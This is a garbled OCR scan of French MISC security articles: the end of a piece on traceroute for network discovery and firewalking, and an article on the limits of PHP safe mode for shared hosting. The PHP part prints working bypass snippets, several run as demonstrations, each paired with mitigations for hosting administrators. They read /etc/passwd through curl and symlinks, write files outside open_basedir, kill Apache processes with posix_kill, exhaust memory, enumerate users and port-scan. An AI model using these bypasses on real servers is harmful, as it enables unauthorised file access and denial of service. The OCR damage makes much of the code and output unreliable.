une erreur dite 7'TL Exceeded sur chaque routeur du chemin et
obtenons en retour une erreur ICMP en conséquence, qui nous
permet d'identifier le point de passage. ou fiop, qui l'a générée.
Nous obtenons alors ce genre de résultats

chr@elendil:~§ traceroute wwa.nerim.net

traceroute to wwwll.nerim.net (62.4.16.81), 64 hops max, 48 byte packets
Iogw (172.16.1.1) 3ms 2Zms 2 ms

¢ log l-Tnsl@l-tip-voltaire.nerim.nef (62.4.16.2481 &% ms 142
ms :.:u

1 gethl-2-surf@l-sry-voltairs. nerin.net (B2.4.18.38) 10A ms &9 ms
& oL 4.4 toile E e T «HZE [ L L 183 -

1 m

4 wwel.nerim.net (62.4.16.81) 127 ms G4 ms 78 ms

Lorsque la valeur du champ TTL est suffisante pour atteindre la
cible. celle-ci répond a la requéte contenue dans notre paquet,
signe que nous sommes parvenus a notre but. Une absence de
réponse pose un probléme en ce qu'elle nous empéche de savoir
si le processus de tragage est fini ou simplement bloqué en route,
mais nous pourrons mettre a profit ce genre d'accidents.

MISC ¢

GENERER EFFICACEMENT UNE REPONSE

Il existe deux méthodes genériquement implémentées pour
générer une réponse. La premiere, celle de la plupart des outils
disponibles sous Unix, consiste & envoyer un paquet UDP a
destination d'un port élevé, supposé fermé, et d'attendre en retour
une erreur ICMP de type Port Unreachable. La seconde,
implémentée principalement sous Windows, consiste a envoyer
un ping. Dans la mesure ou les firewalls que nos paquets seront
amenés a traverser ont de grandes chances de filtrer ce type de
paquets, ces deux méthodes sont peu efficaces. [l en va de méme
pour toutes les autres sollicitations 1CMP (fimestamp, netmask
et info), universellement bloquées et pas forcément supporices
par tous les systémes d'exploitation.

Nous pouvons utiliser des paquets TCP pour générer une réponse.
En effet. la réception d'un paquet TCP de type SYN par un port
ouvert entraine I'émission par la cible d'un SYN-ACK. Si le port
est fermé, la machine nous répond un RST-ACK. ('est ce qu'on
appelle un fraceroute TCP. Cette technique présente de nombreux




vantages. D'abord, elle est utilisable pour toute machine
résentant un port TCP accessible. Ce n'est certes pas le cas de
utes les machines connectées a Internet, mais il concerne la
1ajorite de celles qui pourraient nous intéresser. Ensuite, quels
ues soient les dispositifs de protection mis en ceuvre en amont
nfin presque). un port TCP ouvert reste accessible car il offre
n service. Ainsi, nous sommes capables de réaliser un traceroute
ir une machine comme le serveur HTTP www.microsoft.com,
1 ot les méthodes classiques ne donnent pas de résultat. Nous
tilisons teptracercuie [1]. Notons que nous aurions aussi bien
u utiliser Aping |2] ou Scapy |31, outils bien plus versatiles et
onc plus puissants.

irlelendil:~$ traceroute www.microsoft.com

£

aceroute to waw.microsoft.akadns.net (2€7.46.249.27), &4 nops max, 48

A

| 207.46.36.66 (207.46.36.66) 459 ms 292 ms 332 ms

207.46.155.18 (207.46.155.18) 363 ms 299 ms

ir@elendil:~§ teptraceroute www.microsoft.com 84

gcted device eth@, address 172.18.1,11, port 32847 for outgoing
schets

acing the path to www.microsoft.com (267.46.249.27) on TCP port 80,
} hops max

L gw (172.168.1.1) Z.129 ms 2.823 ms 1.846 ms

vl
| 287.46.36.66 (267.46.36.66)
287.46,155.19 (207.46.155,18) 442.061 ms 272.561 ms 287.735 ms
207.46.224.28% (207.46.224.289) 382.425 ms 289,177 ms 354.821 ms

I microsaft.com (267.46.249.27) [open] 381.620 ms * 549,335 ms

274,917 ms  214.8082 ms 350.485 ms

loquent et sans appel. Alors que le premier traceroute se trouve
loqué au nivgau du treizicme hop, le traceroute TCP atteint son but.

wee un peu d'imagination, nous pouvons créer des systemes de
-aceroute "sur mesure" pour les systemes dont l'accessibilité se
>vele un peu plus exotique. Par exemple, pour réaliser l'opération
ur un serveur DNS uniquement accessible en UDP et dont l'acces
st completement filtré, nous pouvons realiser une veritable
equéte DNS a laquelle 1l répondra. En utilisant Scapy [3]. nous
btenons un résultat probant sur le DNS primaire du domaine
nicrosoft.com (207.46.138.20), alors qu'un traceroute classique
¢ trouve bloqué au treizieme hop (le fameux 13¢ hop...) :

[ =]

irleiendil:~§ traceroute 207.46.138.28
raceroute to 207.46.138.28 (207.46.138.28), 64 hops max, 40 byte

ackets

=3
=
o
™3
=
o

aw (172.16.1.

| 287.46,36.218 (207.46.36,218) 320 ms 227 ms 288 ms

—

2 207.46.155.17 (287 .46.155.17)

278 ms

* %k

1

sl

root@elendil:~# scapy
Welcome to Scapy (0.9.14.1beta)

p5-5

a=IP{dst="207.46.138. 20", tt1=(1,38) ) /UCR(
.microsoft.com"))

J/DNS(rd=1, qd=0NSOR{ qname="www

>»> ans,unans=sria)

Begin emission:

. '._",é.""..i',..t.iT..T,i.t*._'?_'._ * & * * I1Iw1'r‘ b & ;.':i". fhl_:-j
to send 38 packets.
E kW

-

Received 69 packets, qot 38 answers, remaining @ packets

»>>> for snd,rey in ans:
print snd.ttl, rov.sec

1 172.16.1.1

Lol

11 207.46.3%6.214

12 287 .46.155.17

13 207.46.124.9

14 207.46.138.20

15 207.46.138.20

16 207.46,138.24

L'essentiel, dans le bon déroulement d'un traceroute, réside donc
dans la génération d'une réponse. quel que soit le moyen utilise.
Du moment que nous sommes capables de faire répondre ['hote
destination, nous avons gagne.

APPLICATIONS DU TRACEROUTE
EN DECOUVERTE DE RESEAU

L'avantage des approches TCP et UDP pour le traceroute réside
dans ce que nous ne tragons plus simplement le chemin vers une
adresse IP, mais vers un service répondant a cette adresse. Cette
différence nous permet d'aller beaucoup plus loin dans la
découverte de configurations de réseaux distants.

DETECTION DE FIREWALLS
ET DECOUVERTES DES JEUX DE REGLES

La découverte s'appuie sur la comparaison de plusieurs
traceroutes, sur différents services ouverts amsi que sur des ports
fermés. Nous sommes ainsi capables de différencier les hotes
hébergeant les différents services traités {ceux-ci [aisant
éventuellement l'objet de redirections, comme du partage de
charge) et les dispositifs qui les protégent. Reprenons l'exemple
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Proxy HTTP

Flux HTTF mandaté

Flux HTTP

Elux 1M P

Proxy HTTP transparent

du serveur Web www.microsoft.com. La comparaison entre le
traceroute classique et le traceroute TCP montre que le treizieme
hop (207.46.224.209) est un filtre de paquets. Ceci nous sera
confirmé si nous émettons un traceroute TCP a destination du
port 21 par exemple : le tragage se trouve bloqué par le treizieme
hop. C'est pourquoi le traceroute TCP (ou UDP) est souvent
utilisé pour faire du firewalking |4|. Ainsi, en effectuant l'opération
plusieurs fois en modifiant la destination, le protocole utilisé
ainsi que les ports source et destination, nous sommes capables
de deviner la configuration d'un éventuel firewall d'une maniére
souvent plus efficace qu'avec un scan de ports, ainsi que sa
localisation exacte sur le réseau. Grace a cette méthode, nous
sommes en mesure d'identifier un filtrage réalisé par plusieurs
équipements de configuration différente en cascade.

R T BT el B AL QL el s e o o
cor@elendil =8 teptraceroute waw. microsoft, com

ANALYSE DE SYSTEMES
DE PARTAGE DE CHARGE

Autre découverte grace a traceroute. Nous nous apercevons
rapidement que le nom www.microsoft.com pointe en fait sur 6
adresses 1P en round robbin

heBalandt] cat Bact BT e B
Corae ‘_’|".| RTINS L  WWW L .TIL

MISC ¢

ww.microsoft . skadns. net 4 207.46.134.1%0
waw . microsoft . akadns. net : 0.4t

Nous pouvons tracer chacune de ces adresses pour voir si des
chemins différents sont pris. Nous voyons alors que les adresses
en 207.46.249.* ne sont pas routées au méme endroit que celles
en 207.46.134 %, ce qui nous donne une meilleure idée de
l'architecture de répartition de charge :

Lo endl 1 i~ LCPLTaCeToute. co W L8X.L0 OF

DETECTION DE REDIRECTIONS DE FLUX ET
PROXYING TRANSPARENT
(POUR LE MEILLEUR, COMME POUR LE PIRE)

Dans la mesure ol nous tragons des services, nous sommes
capable de détecter toute tentative de proxying d'un flux
particulier, comme un proxy HTTP transparent par exemple.
Dans le cas présent, un reroutage du trafic HTTP, i.e. a destination
du port 80 en TCF, a €té mis en place sur la passerelle de sortie.
Si nous effectuons un traceroute classique sur www.nerim.net,
nous obtenons le méme résultat que plus tt. Or, cela ne refléte
pas la réalité de la configuration réseau (cf. ligure 2). Lancons
donc un traceroute TCP vers le port 80 :




Du bon usage du Traceroute

1 far outgoing packets

TCP port 88, 3@ nops max

Il y a une différence notable entre nos deux résultats, preuve que
nous sommes en présence d'une redirection du flux vers un proxy
local. Il est cependant difficile de I'identifier car il répond a toutes
nos requétes en utilisant '1P que nous interrogeons. Nous devons
ruser. Par exemple, un examen minutieux des paquets de réponse,
en particulier la valeur du champ TTL, nous renseigne sur
['éloignement d'un tel proxy. De la méme manigre, nous pouvons
deécouvrir des attaques de type redirection du flux |5] ou bien Man
In the Middle, par différentiation de plusieurs traceroutes vers
différents services en cas de doute. Ainsi. lors d'une conference
récente, nous avons pu identifier un point d'acceés wireless comme
un intrus (rogue AP [6] faisant tourner un honeypot | 7| (honeyd [8]
en l'occurrence) utilisé comme outil d'attaque, émulant une
architecture réseau virtuelle et de nombreux services susceptibles
de capturer des mformations sensibles (logmn/password par exemple).
La topologie réseau présentée par ce faux point d'acces n'était en
effet pas du tout cohérente avec les résultats que nous attendions.

Gréce a un traceroute, nous sommes en mesure de détecter une
redirection de port par traduction d'adresse (DNAT selon
I'appelation linuxienne). En effet, un traceroute a destination de
I'equipement de NAT nous donnera un certain nombre de hops.
Par contre, un traceroute orienté service sur le port redirigé nous
donnera un erreur TTL Exceeded au niveau du firewall, alors
qu'il devrait répondre, et atteindra sa cible en un nombre de hops
plus importants. Pour autant, la réponse finale portera encore I'lP
du firewall. Nous avons 1a une incohérence caractéristique des
ports redirigeés face au traceroute.

DETECTION DE HONEYPOTS

Le traceroute est ainsi également ['un des moyens les plus utilises
par les pirates pour savorr s'ils sont en présence d'un pot a miel
(honeypot |7]) censé les leurrer. En effet, lorsqu'une connexion
se fait rediriger vers un honeypot, le trajet des paquets s'en trouve
affecté. Des lors, si l'implémentation du piége n'est pas rigoureuse,
la redirection devient détectable. Si la plupart des produits gérent
plutot bien le leurre d'un traceroute externe, ils sont nettement

moins efficaces lorsque le test est lancé depuis le honeypot lui-
méme. De nombreux travaux dans le domaine des pots a miel
portent d'ailleurs sur ce point précis.

EXPLOITATION DE TROUS DE SECURITE
SUR DES ROUTEURS

Enfin le TTL sert aussi a attaquer des routeurs, voire des firewalls.
En effet, si ces derniers présentent rarement de services
accessibles, des erreurs d'implémentation dans leur couche de
routage peuvent étre exploitées. Une valeur adéquate du champ
TTL permet a I'attaquant de cibler précisément un routeur sans
pour autant envoyer des paquets qui lui seraient destinés. I suffira
qu'ils soient routés par lui. Ainsi, une mauvaise gestion du NAT
sur les Linux 2.4 [9] autorisait la récupération des adresses des
hétes internes vers lesquels un port du firewall était redirigé par
traduction d'adresse. Une mauvaise construction des erreurs [CMP
sur les Linux 2.0 | 10] entrainait I'inclusion de portions de mémoire
noyau dans les erreurs ICMP retournées.

Cédric Blancher

sidf@miscmag.com

Un grand merci a Maitre Phil'
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PHP :
les limites

du safe mode

Deés qu'un site Web est dynamique, des probléemes de sécurité inhérents au langage

de programmation peuvent apparaitre. PHP est sans doute le langage le plus proposé

par les hébergeurs et le plus présent [1] sur Internet. Cet article aborde le probleme
de la sécurité posé par le langage PHP dans un site Internet. Peut-on limiter les risques
posés par d'éventuelles failles dans le code PHP ? Dans le cadre d'hébergements Web
mutualisés, quelles mesures un hébergeur peut-il prendre pour ne pas pdtir du piétre
développement d'un site ? Peut-il garantir un minimum de sécurité méme en présence de
code PHP hostile ? Certaines mesures pourront limiter les risques posés par des bogues de
programmation dans le code d'un site Web ou dans une application PHP. Elles sont
intéressantes a envisager dans le cadre de serveur dédié.

LE SAFE MODE

PHP permet notamment de manipuler des fichiers, d'exécuter
des commandes et d'ouvrir des connexions réseaux. Ces propriétés
le rendent potentiellement dangercux. Cependant, il a été congu
comme une alternative plus sire aux scripts CGI et au langage
Perl. Quand PHP est utilisé comme module Apache, il s'exécute
avec les droits de l'utilisateur sous lequel le serveur Web
fonctionne, généralement l'utilisateur apache. Si différents
utilisateurs ont des scripts PHP, tous les scripts se retrouvent avec
les mémes droits ! Le safe mode tente de résoudre les problémes
de sécurité des hébergements mutualisés. Faute d'alternative
réaliste au niveau du serveur Web ou du systeme d'exploitation,
le safe mode est la mesure principale de sécurité utilisée jusqu'ici.

Pour l'activer. il suffit de mettre safe_mode = On dans le fichier
de configuration php.ini et de relancer Apache.

Un systéme de wrapper sur 'ouverture des fichiers fopen() va
renforcer les permissions Unix. Il vérifie que le propriétaire du
script est aussi le proprietaire du fichier et ce n'est qu'a cette
condition que le fichier sera ouvert.

Les exécutions de commande sont initées a celles se trouvant
dans le répertoire safe_mode_exec_dir.

MISC 9

Seules les varnables d'environnement safe mode allowed env vars
sont modifiables, a l'exeeption de celles commengant par un préfixe
défini dans safe_mode_protected_env_vars, Par défaut, lorsque
le safe mode est activé, seules les variables commengant par PHE
sont modifiables a l'aide de la fonction putenvi ). Cela évite les
manipulations des variables PATH, IFS, LD _LIBRARY PATH,...
permettant I'exécution d'autres programmes que ceux du répertoire
safe_mode_exec_dir.

Certaines fonctions dangereuses comme o1 (chargement
dynamique de librairie) sont interdites et divers controles sont
ajoutés. Par exemple, la fonction chmod () ne peut pas donner les
permissions SUID ou SGID, ce qui aurait permis a un utilisateur
local de devenir 'utilisateur apache.

LES SESSIONS

Un numeéro de session identifie de maniere unmique un utilisateur,
Cette valeur est transmise par un cookie ou via un parametre dans
I'URL. Véhiculé dans une URL, 1l peut étre transmis
involontairement dans un champ Referer HTTP. Pour limiter
I'utilisation accidentelle de cette valeur, PHP peut vérifier la




présence d'une chaine définie par session. referer _check dans
le contenu du Referer, Si cette chaine de texte est absente, le
numéro de session n'est pas utilisé. Evidemment, un pirate n'aura
aucun mal a forger un Feferer ou utiliser un cookie pour exploiter
ce numero de session. Pour se protéger contre cela, il convient
de deésactiver la gestion des sessions via les URLs
session.use_trans_sid=0 au prix de diminuer la compatibilité
avec les clients ne gérant pas les cookies.

ey Ge gobisa Jour Wodon: el o

®

- R;% L B | & ntip:123.0.01mytestdic php

a £ Sécurté PHP

4 Nip127.0.0.1 mytest/dir php |

En dehors du risque de diffusion du cookie. il y a aussi [ g gan
le risque qu'un pirate fixe le numéro de session, C'est | §
l'attaque par session fixation. Frrd
Par exemple, le pirate vous invite a suivre un lien vers T
un site sensible dont I'URL contient un numéro de |,
session. Si l'utilisateur s'identifie sur ce site, le pirate [, .
ayant le numéro de session pourra effectuer les mémes | oot
opérations que l'utilisateur. Pour éviter cette attaque, ?S‘:ne
activer session.use only cookies=l (PHP >=4.3.0). f;,‘f
Sile site http://www.hebergeur.com/sitel/ déposeun |5
cookie sur le poste de l'utilisateur, lorsque cet utilisateur | et
accéde au site http: //www.hebergeur.com/site2/, son m'
navigateur transmet les cookies du si1tel. En effet, ils | initrd
partagent le méme domaine. Il faudra que la configuration L':;t
du serveur distingue le répertoire avec |opt
session.cookie path pour chaque site hébergeé. s;_ifo&ck
images
Enfin, le répertoire ou se trouvent les sessions des | servics
utilisateurs session. save _path, s'il est identique pour

Document Done {0.08 secs)

)

tous, ne doit pas pouvoir étre liste via un script PHP. On
verra comment réaliser cela dans le paragraphe suivant.
Si chaque site a son propre répertoire pour les sessions, il ne faut
pas pour autant que ce répertoire se trouve accessible depuis
Internet. Cela peut sembler évident mais cette situation a été
observee chez certains hébergeurs.

ISOLATION AU NIVEAU
DU SYSTEME DE FICHIERS

Le parametre open_basedir fixe une racine en dessous de laquelle
aucun fichier ne peut étre lu. Il convient de placer ce paramétre
pour chaque virtualhost (site virtuel) ;

<V¥irtualHost 1.2,3.4:80>

Serveriame wwe.toto

serverfdmin webmast

DocumentRoot /home/tato/public

| File Edit

Q.

Bac|

Malgre la présence du safe_mode, un utilisateur peut se
promener sur le systéme de fichiers.

Hov | G Deokmads Tvolv Minoow L

& - H%” m | & hitp:en127 0.0 1/mytestdic php

'-.g 4 Sécurté PHP

4 MipsN127.0.0 Vimytestidie php

<tphp
list_dir(
dir(§dirname)

ist_dir(§dirname)<BR>\n";

Warning: open_basedir restriction in effect. File is in wrong directory in
fhome/kmaster/notesiarticles/php/dir php on line 7

—Rosument, Rong 0.07 sec3)

$handle=gpendir(§dirmame);

if($handie)
while (§file = readdir{Shandle
|

print §file,"<BR>";

closedir($handle):

User toto

Group toto

php_admin_flag enging on

php_admin_value open_basedir "/home/taoto/"

</VirtualHost>
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ET LES SESSIONS ?

Le parametre open_basedin empéehe un acces direct aux fichiers
de session sans pour autant en empécher le fonctionnement.

ET L'UPLOAD ?

La commande copy ne permet pas de déplacer le fichier “uploadé”
car celui-ci se trouve en dehors de la racine open_basedir, et de
toute facon, le safe mode refuserait de copier un fichier
n'appartenant pas au propriétaire du script PHP. I faut utiliser
l'instruction dédice move uploaded 7ile.

Regardons le formulaire d'up/oad suivant :

SCRIPT_PHP.

<F(IRM ENCTYPE="multipart/form-data" ACTION="_URL
METHOD="POST">

<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="1800">

B {ileatime : renvoie la date a laquelle le fichier a ét¢ accedé
pour la derniére fois.

M filectime : renvoie I'heure a laquelle I'inode a éte accede
pour la derniére fos.

B fHlegroup @ it le nom du groupe
B fileinode : renvoie le numéro d'inode du fichier.

B filemtime : renvoie la date de derniére modification du
fichier.

B fileowner : renvoie le nom du propriétaire du fichier.
W fileperms : renvoie les permissions affectées au fichier.
B filesize : renvoie la taille du fichier.

B filetype : retourne le type de fichier

Il est done possible de vérifier la présence d'un fichier et d'obtenir

Envayez ce fichier ; <INPUT NAME="userfile® TYPE="fila"» des informations sur celui-ci :
<INPUT TYPE="submit" VALUE="Send File">
</ etc/passwd’
print '<pre>';
Et le code PHP : arfiit *Fi
<php print_r(1stat($file))
Suploaddir = */var/www/uploads/"; print '</pre>';
arint “<pre>’:
if (move_uploaded filets_FILES[ userfile' ][ tmp_name'

iploaddir . $ FILES'usarfile" ][ 'name'] =
‘ll.l. gaad . _F...._ IS8T 1L Tae | " Ele Edt IBM Go B_oomm__!'_nnll EII'IHDW HW z

print "fichier valide, et téléchargé :\n"; B -

3.5 38 Ee—— |
s Wl g Séourts PHP o /127001 mytestisiat g | %
} else

3 : Fichier fetc/passwd

echo "Attaque par upload potentielle.\n"; i

Q] = 772
} 1] =» 28731
2] > 33108
print "s/pre>"; St
. E] =» 0
s s} =0
7} =» 2755
A] w> 1053349824
9] «> 1042576500
10] =» 1042576500
LIMITATIONS e
12] =» &
dev| => 773
sy et ! ey W1 ino] =5 28731
Coté implémentation, la fonction interne de PHP mcl m L
php_checkuid() valide le propriétaire d'un fichier tandis S e
que la fonction php_check open basedir() vérifie qu'un el 2 2ree
fichier est bien dans I'un des repertoires de open basedir. el B
m * o ' - 3 time| =3 1042576509
Malheureusement, toutes les fonctions PHP n'y font pas 'Eﬁ?&i?l)"s’ogs
I =3
appel. y
Document Dane (0,068 secs) gl
Stat |
Les fonctions suivantes ne vérifient pas la racine
open_basedir ; Module Apache

B stal : renvoie les informations a propos d'un fichier.

W |stat : renvoie les informations a propos d'un fichier ou d'un
lien symbolique.

Le contournement le plus connu utilise la fonction virtual().
Cette fonction est spécifique a Apache, elle est équivalente au
Server Side Inciude (<!--#include virtual...-->) dumodule
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PHP ; les limites du safe mode

php
yalink( ' fetc/passwd’, 'passwd
,,,,,,, -
rtuai( ‘passwd’
—_—

Flle peut étre bloquée par le safe mode qui interdira la création
lu lien symbolique avec synlink ou en interdisant la fonction
firtual). Pour interdire un ensemble de fonction, il suffit de
pécifier dans le fichier php.ini la variable disable functions
't les noms des fonctions séparés par des virgules :

Jisable_functions = symlink,virtual

Miodule de compression Bzip2

_a fonetion bzopen( ) permet de lire ou créer des fichiers au
ormat bzip2. Le probléme est qu'il est possible de créer des
ichiers ou d'en lire en dehors de la racine open_basedir. Aucune
«érification sur le propriétaire des fichiers n'est effectude.

Yans I'exemple suivant, un fichier de documentation est accédé
t un fichier est créé dans le répertoire /tip :

fohp
| test de lecture

= bzopen( " fusr/share/doc/HTML/ Fr/aktian/index.cache, bz2', "¢

rint bzread($bz);

dha_replace ("key",

11 a été possible de créer une base dans le répertoire /tip, il n'y
a pas de vérification de la racine.

§ 15 -1 /tmp/*.db

apache 8192 ma

-T-r--f-- 1 apache

ftmp/test.db

Module de vérification orthographique
PSELL

La bibliothéque nspel | verifie l'orthographe d'un mot, et suggere
des corrections. Il est possible de créer son propre dictionnaire
pspell_config personal ainsi qu'une liste de remplacement

teloselsoz) pspell_config repl pour trouver une alternative aux mots mal
orthographiés.
est d'écriture <2php
ename = "/tmp/testfile.ba?": Spspell link = pspel] new ("ep"
str = "This is a test string.\n"; '
bz = bzopen(§filename, "w"); Spspell_config = pspell_config_creata ("en"
muriteisoz, str); pspell_config personal (Spspell_config, “/tmp/custom.py
zciose(dbz) pspell_config_rept (fpspe ifig, " Jstom. rep
$pspell_Tink = pspell_new config (Spspe nfig
uite a l'exécution, on obtient : f (pspel]_checl 1110k, "testt
[tmp/*. b2t echo "This is 2 valid speliing”;
[R-F--1 | apache apache 63 mai 2 19:16 testfile.bz? } else
echo “Sorry, wrong spelling”;
lodule DBA : Database Abstraction layer
'HP dispose d'une couche d'abstraction pour accéder a des bases 102 link, "kmaster
e données sous forme de fichier. ospe | 1ink. "kMasters maste
‘php pspel_save_word] ist ($pspell_Tink
id = dba_open ("/tmp/test.dd", "n", "db3"); 1>
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Le module de vérification peut étre utilisé pour créer ces fichiers
sur le serveur. PHP ne tient pas compte de la racine spécifiée par
open_basedir.

§ 1s -1 /tmp/eustam.*

-fW-F--r-- 1 apache apache M omal 1 15:20 /tmp/custom.pws
“PW=-T=-=1=--

1 apache apache 46 mai 1 15:20 /tmp/custom, repl

Module CURL: Client URL library

PHP supporte la bibliothéque Tibcur]l qui permet de
communiquer via de nombreux protocoles : HTTP, HTTPS, FTP,
Gopher, Telnet, Dict, File, et 1dap. Le protocole f11¢ donne acces
aux fichiers locaux.

Le probléme vient du fait que le module CURL est utilisable pour
accéder a tout fichier lisible par l'utilisateur apache.

<iphp

print "<pres";

§ch = curl_init('file:///ete/passwd’ )
curl_exec ($ch);

curl_clase ($ch);
print "</pre>";

>

PROTECTION DES RESSOURCES

Nom Par défaut Modifiable
safe_mode "ot PHP INI SYSTEM
open_basedir NULL PHP INI SYSTEM
safe mode exec dir LM PHP INI SYSTEM
memory_lumit "8M" PHP INL ALL
Constante Valeur | Signification

PHP INI_USER 1 La valeur peut étre

modifiée dans un script

PHP INI PERDIR| 2 La valeur peut étre modifice i

dans le fichier _htaccess |

PHP INI SYSTEM | 4 La valeur peut étre modifiee

dans php.ini ou hitpd.conf

MEMOIRE

Un script PHP peut utiliser de la ressource mémoire jusqu'a
concurrence de memory 1imit, généralement 8 Mo. Or, les options
de contiguration sont modifiables avec les fonctions 1ni_set (),
ini_alter() etini_restore(),

En consultant la table des options | 2], on remarque que certaines
sont modifiables directement dans le script.

11 est ainsi possible de supprimer la limite (-1 = pas de limitation)
et consommer la totalité de la mémoire du serveur menagant ainsi
sa stabilité.
<Iphp
ini_set( "memory_limit','-1');
ini_alter( 'memory_limit','-1");
print “memory_Timit ".ini_get('memory_limit')."\n";
§toto="Boom!";
far(§i=l;;81++)
{
print *.°
flush();
$1oto.=8toto;

1>

Au niveau systéme, il est possible d'implémenter des limites
décrites dans /etc/security/Timits. conf activées par le module
PAM pam_limits. Le probleme est que Apache est lance sous
I'identité reot puis quun changement d'identité vers l'utilisateur
apache est effectué. Le serveur Web Apache n'est donc pas affecté
par cette limitation car 1l n'y a pas connexion de l'utilisateur.

Plus simplement, 1l suffit au niveau de PHP d'interdire les
fonctions ini_set(), ini_alter() et ini_restore().

TEMPS D'EXECUTION

Un script PHP a une durée d'exécution limitée dans le temps.
Elle est de max_execution_time secondes, il s'agit de temps
machine et non du temps de vie du processus.

Une premiére attaque est de supprimer la limitation :

<Iphp

ini_set('max_execution_time','-1');

ini_alter( 'max_execution_time',"-1");

set_time_limit{-1);

print ini_get! 'max_execution_time')."<BR>\n";

>

IR Bkl d L2 HRJeIE peLE B e Pour s'en protéger, il suffit 1a encore d'interdire les fonctions
fatoneo ini_*(). Un contournement possible consiste a faire dormir le
- . - A = LE processus, il consomme donc de la mémoire mais pas de temps
machine.
MISC 9




PHP : les limites du safe mode

ohp
eep(10000);

ertains hebergeurs interdisent en conséquence les fonctions
leep() et usleep().

rréter un processus peut laisser le systéme dans un état instable.
est donc prévu que le programmeur puisse gérer la fin

> son script  proprement, il enregistre avec

sgister_shutdown_function la fonction & appeler pour réaliser
s opérations critiques.

php

netion test()

§old_date="";
print "Debut de test<BR>\n";
white(l)
{
fdate=strftime( '%c');
if(fdate !=%old_date)

[
1

print $date."<BR>\n";
flush( )
$01d_date=fdate;

gister shutdown function("test"):
st )

int "Fin de test”;

lemargue : D'apres la documentation de PHP, l'affichage ne
loit plus fonctionner apres expiration de la minuterie. En
ratique, ce n'est pas toujours le cas.

PLOAD

n fichier uploadé ne doit pas dépasser la limite
doad_max_filesize. Il est cependant possible de découper un
hier, d'uploader chaque trongon un a un, pws de le réassembler.

0G

1rcommande sys1og( ) consigne des événements. Un script mal
tentionné peut enregistrer des messages en usurpant le nom
im autre processus de fagon a perturber l'analyse des logs, I1
ut aussi saturer les logs en utilisant une boucle infinie.

© Ele Edt View Go Bookmarks Tools Window Help

B?::'k . & v R;Z.}ad gp {4 hitp:127.0.0.1/my :;’

'@ 2 Séeurité PHP O Loading... | = PHP: inl_set- M., | x

Debut de test

lun 19 mai 2002 16:17:48 CEST
lun 19 mai 2003 16:17:49 CEST
lun 19 mai 2003 16:17:50 CEST

Fatal error: Maximum exzecution time of 2 seconds exceeded in
(home/kmaster/notes/articles/php/time.php on line 8

Debut de test

lun 19 mai 2003 16:17:50 CEST

lun 19 mai 2003 16:17:51 CEST

lun 19 mai 2003 16:17:52 CEST

lun 19 mai 2003 16:17:53 CEST

lun 19 mai 2003 16:17:54 CEST

lun 19 mai 2003 16:17:55 CEST
lun 19 mai 2003 16:17:56 CEST
lun 19 mai 20032 16:17:57 CEST
lun 19 mai 2003 16:17:58 CEST
lun 19 mai 2003 16:17:59 CEST

<iphp

define_syslog variables();
openlog("myScriplog”, LOG_ODELAY, LOG_LOCAL®);
sysTog(LOG_WARNING, "Test"):

cleselogl();

openlog("httpd", LOG ODELAY, LOG_LOCALB);
syslog(LOG_WARNING, "Demarrage de httpd succeeded [test)"};
closelogl);

»

Extrait des fichiers de log
mai 6 18:20:35 christophe httpd: Arrét de httpd succeeded

succeeded

mai 6 18:28:35 christophe httpd: Démarrage de httpd
mai 6 18:28:38 christophe myScriplog: Test

mii 6 18:20:38 christophe hitpd: Démarrage de httpd succeeded (test)

A part si son utilisation est indispensable, je conseille d'interdire
la fonction sysloqgl ).

SESSION

Un seript peut stocker dans chaque session des données jusqu'a
concurrence de l'espace mémoire alloué au processus, et ce pour
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une durée d'un maximum de session.go maxlitetime (1440
secondes par défaut, soit 24h). Il est donc difficile de stocker des
fichiers dans les sessions et contourner ainsi le systéme de quota
de son compte utilisateur.

POSIX

PHP peut étre compilé avec les extensions Posix 1 (par défaut
sous RedHat). Cela apporte les fonctions qui manquaient
autrement.

La fonction posix _kil1() envoie des signaux aux différents
processus. Comme le serveur Web et les scripts PHP fonctionnent
sous la méme identité, 1l est possible d'arréter (SIGKILL=9) ou
de stopper (SIGSTOP=19) tous les processus Apache sauf le
processus pére initial qui tourne en tant que root.

<Iphp
while(l)

posix_kitl(-1,18);

Un utilisateur malicieux ne pouvant récuperer la liste des
utilisateurs via le fichier /etc/passud dispose d'une autre
possibilité en les énumérant avec la fonction pos s getpwuidl).
Il interroge le systéme pour chaque ID et reconstitue ainsi une
liste des utilisateurs locaux.
<{php

for (81 = 0; 81 < 6800; $1++)

f (($tab = @posix getpwuid($i)] = NULL)

echo §tab[ ‘name'].":";
echo §tab['passwd'].":";

gcho Stabl'uid'].":";

echo $tab'gid'}.":"y

echo $tab['gecas'].":";
gcho $tab['dir'].":";

echo $tab[ 'shell']l. "<hr>":

-
W

MisC 9

Pour se protéger, il est possible d'interdire les fonctions
posix_kill() etposix getpwuid() mais le mieux est de ne pas
compiler le module POSIX tout simplement.

SCAN DE PORTS

PHP est utilisable pour scanner un serveur. Une premicre methode
consiste 4 ouvrir une sockef avec fsockopen( ), pfanckopeni) ou
socket_connect().

<Iphp
$server='127.0,0.1";
print "Scan TCP<BR>\n":
for(Spart=1;$port<655;fport++)
I.
$fp=Bfsockopent $server, $port,Serrno, Serrstr, Spart);
if(§fpl
felose(§fpl;

print "Port $port open<BR>\n";

Pour empécher cette utilisation des sockets, on interdit ces
fonctions et, au besoin, on les autorise pour un utilisateur. Plus
radical, on ne compile pas PHP avec le support des sockets.

Plus sournois, une autre facon de scanner est d'utiliser une fonction
comme ftp connect. Cette fonction se mettra a bloquer des
qu'elle se connectera sur un port ouvert qui ne répond pas au
protocole FTP.

<Iphp

$ftp_server='localhost’

for(Sport=1;$port<1PZ&;%port++

orint "Part Sport:":
flush{);
f($conn_td = ftp_connect($ftp_server, $port))
" "
rint "Open\n";
# fto close(Sconn 1d)
} else
|
8
print "Closed\n”;
I|




Une protection possible est d'utiliser un firewall sur le serveur
et de filtrer les connexions sortantes selon l'utilisateur.

iptables -& QUTPUT -m state --state ESTABLISHED, RELATED -7 ACCEPT

! <& QUTPLT | ALL S¥N -m state --state NEW - CROP
iptables -A OUTRUT -p TCP -d SERVEUR MYSOL --dport mysql - ACCEP

& QUTPUT -m owner --uid-owner 48 -m Timit --1imit4/s -3 L0G --1og
. UTRUT bad
ptables -A QUTRUT -m owner --uid-cwner 48 -j REJECT

Remarque : 1l peut étre nécessaire de recompiler le noyau
et’'ou la commande iptables pour que le module owner
fonctionne.

LES MODULES

Desactiver les fonctions une a une n'est pas toujours 1déal car
certaines fonctions posseédent plusieurs noms et on risque d'en
manguer. Plus radical. la recompilation de PHP avec uniquement
les modules nécessaires, mais cette manipulation est évitable
